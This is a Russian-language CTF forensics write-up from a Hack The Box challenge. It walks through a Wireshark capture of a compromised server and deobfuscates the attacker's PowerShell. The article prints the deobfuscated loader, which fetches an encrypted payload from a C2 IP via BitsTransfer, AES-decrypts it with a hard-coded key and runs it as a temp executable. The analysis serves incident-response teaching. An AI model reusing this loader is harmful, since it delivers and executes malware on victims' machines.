Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Закрепление, постэксплуатация и эксфильтрация — три неотъемлемых этапа каждой атаки. В этой статье мы проведем расследование инцидента: поищем артефакты, сдампим сетевой трафик и деобфусцируем найденный вредоносный код. Таким образом мы восстановим действия злоумышленника и заодно познакомимся с популярными техниками, которые часто применяются «в дикой среде».
Эта статья — райтап по одному из заданий по цифровой форензике с прошедшего в марте 2023 года CTF-соревнования на Hack The Box. Уровень — сложный.
Наше задание звучит следующим образом:
То есть мы знаем, что сервер был скомпрометирован, и у нас есть трафик. Нас просят проанализировать дамп, провести расследование инцидента и установить, как атакующие загружали утилиты на скомпрометированный сервер, какими способами закреплялись и как производили эксфильтрацию данных. В конечном счете нам нужно будет найти флаг.
Первым делом загрузим дамп в Wireshark. Несложно установить, что IP скомпрометированного сервера приватный — 192.168.25.140, в то время как адрес C2-сервера атакующих публичный — 64.226.84.200. Также видно, что со скомпрометированного хоста происходит обращение к стороннему ресурсу (C2-серверу) с GET-запросом по ссылке, которая оканчивается на vn84.ps1
. В ответ сервер отдает сценарий на PowerShell.
GET-запрос со скомпрометированного хоста для загрузки vn84.ps1
Трафик передается по HTTP, то есть без шифрования. Это значит, что мы можем экспортировать переданные объекты из дампа и подробно их изучить, чтобы восстановить ход атаки, а также определить, какие методы и утилиты использовали атакующие. Для этого в меню выбираем «Файл → Экспортировать объекты → HTTP». Жмем «Сохранить все» и задаем конечную директорию.
Экспортированные из дампа трафика объекты
В глаза сразу бросается экспортированный сценарий PowerShell, однако, чтобы получить полную картину, нужно определить, с артефактами какого формата нам предстоит работать. Поэтому не будем бросаться изучать найденные скрипты, а первым делом посмотрим, что за формат у остальных экспортированных файлов. Для этого воспользуемся утилитой file и командлетом Get-ChildItem
. Обойдем все файлы в цикле:
foreach ($file in (Get-ChildItem $_.Name))
Формат экспортированных файлов
Запишем полученный массив в переменную $fileformat
, а в новом цикле переименуем файлы с расширением PNG, чтобы посмотреть, что внутри.
foreach ($format in $fileformat) }
Интересного в самих картинках мало (это изображения собак в низком разрешении), однако внимание привлекает файл %3fdVfhJmc2ciKvPOC(23).png
, поскольку его размер больше других — 827 Кбайт. Похоже, помимо картинки, в нем есть что‑то еще. Возьмем этот факт на заметку и будем двигаться дальше. Поглядим, что в других файлах.
Полученные PNG
Файлы размером около 1 Кбайт — ответы сервера на запросы («200 OK» и другие коды), и интереса такие данные для нас не представляют. Остальные файлы имеют малоразличимое содержимое, их пока оставим, а вот экспортированный сценарий PowerShell вполне читабельный, хоть и немного обфусцирован. Попробуем разобраться, что происходит в коде.
Изучая vn84.ps1
, можно увидеть обфусцированные командлеты.
Обфусцированное содержимое vn84.ps1
Здесь атакующие используют обфускацию строк, подробнее об этой и других техниках можно узнать из доклада на Black Hat 2017 (PDF).
Для деобфускации можно пойти несколькими путями: воспользоваться инструментом PSDecode, использовать журнал Windows при включенном аудите сценариев PowerShell, ну или попросить разобраться ChatGPT, который тоже умеет деобфусцировать, хоть иногда и меняет исходный код на свое усмотрение.
Я воспользуюсь PSDecode. После деобфускации получаем исходный сценарий (некоторые строки я подправил вручную):
Set-Item 'Variable:QLz0so' ([type]('System.IO.FileMode'))Set-Variable -Name l60Yu3 -Value ([type]('System.Security.Cryptography.AesCryptoServiceProvider'))Set-Variable -Name BI34 -Value ([type]('System.Security.Cryptography.CryptoStream'))$Url = 'http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51'$PTF = "$env:temp94974f08-5853-41ab-938a-ae1bd86d8e51"Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $pathInvoke-WebRequest -Uri $Url -OutFile $PTF$Fs = New-Object -TypeName 'System.IO.FileStream'($PTF, ([System.IO.FileMode]::Open))$MS = New-Object -TypeName 'System.IO.MemoryStream'$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::Create()$aes.KeySize = 128
$KEY = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)$iv = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)$aes.Key = $KEY$aes.IV = $iv$cs = New-Object -TypeName 'System.Security.Cryptography.CryptoStream'($MS, $aes.CreateDecryptor(), ([System.Security.Cryptography.CryptoStreamMode]::Write))$fs.CopyTo($cs)$decD = $MS.ToArray()$CS.Write($decD, 0, $decD.Length)$decD | Out-File -Path "$env:temptmp7102591.exe" -Encoding Byte
& "$env:temptmp7102591.exe"
Становится понятнее. Если коротко: PowerShell здесь при помощи системной службы Windows BitsTransfer (T1197 по матрице ATT&CK) данные с C2-сервера загружаются на скомпрометированный хост, после чего загруженные данные расшифровываются по алгоритму AES-CBC-128. Для расшифровки AES c CBC-mode необходимы ключ и вектор инициализации, они как раз и указаны в сценарии.
Расшифрованные байты записываются в исполняемый файл $env:temptmp7102591.exe
, а затем этот файл запускается. Наша первоочередная цель — расшифровать данные и записать их в исполняемый файл для дальнейшего изучения. Это поможет узнать, что происходило на этапе закрепления.
Для дешифровки можем воспользоваться тем же сценарием или инструментом CyberChef (но это более трудоемкий способ).
Из значения переменной $Url
в сценарии следует, что расшифровывать нужно поток байтов в дампе трафика с именем 94974f08-5853-41ab-938a-ae1bd86d8e51
.
info
Чтобы убедиться, что работа ведется с верным пакетом, номер пакета можно сопоставить с номером экспортируемого объекта Wireshark.
Источник: xakep.ru